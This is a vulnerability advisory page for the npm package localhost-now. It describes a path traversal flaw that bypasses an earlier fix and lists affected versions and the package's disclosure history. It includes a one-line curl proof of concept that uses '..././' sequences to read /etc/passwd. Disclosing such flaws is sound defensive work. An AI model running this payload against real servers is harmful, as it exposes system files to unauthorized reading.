Path Traversal in localhost-now
All versions of localhost-now are vulnerable to path traversal. This vulnerability is a bypass to the path traversal fix introduced in version 1.0.2
Proof of concept:
$ curl -v --path-as-is "http://IP:5432/..././..././..././..././..././..././..././..././..././..././etc/passwd"Recommendation
No fix is currently available for this vulnerability. It is our recommendation to not install or use this module until a fix is available.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | localhost-now | <= 1.0.2 | no fix |
References
- Weakness (CWE)
CWE-22- Platform
- npm
- Package
localhost-now- Disclosed
- 11.06.2019
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-73cw-jxmm-qpgh - CC BY 4.0
Vulnerability history: localhost-now
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 3
- First → latest
- 07.2018 06.2019
- Without a fix
- 2
- Exploited in attacks
- 0
Severity breakdown
- High 3
Disclosures per year
- 2018: 1
- 2019: 2
- 2020: 0
- 2021: 0
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 0
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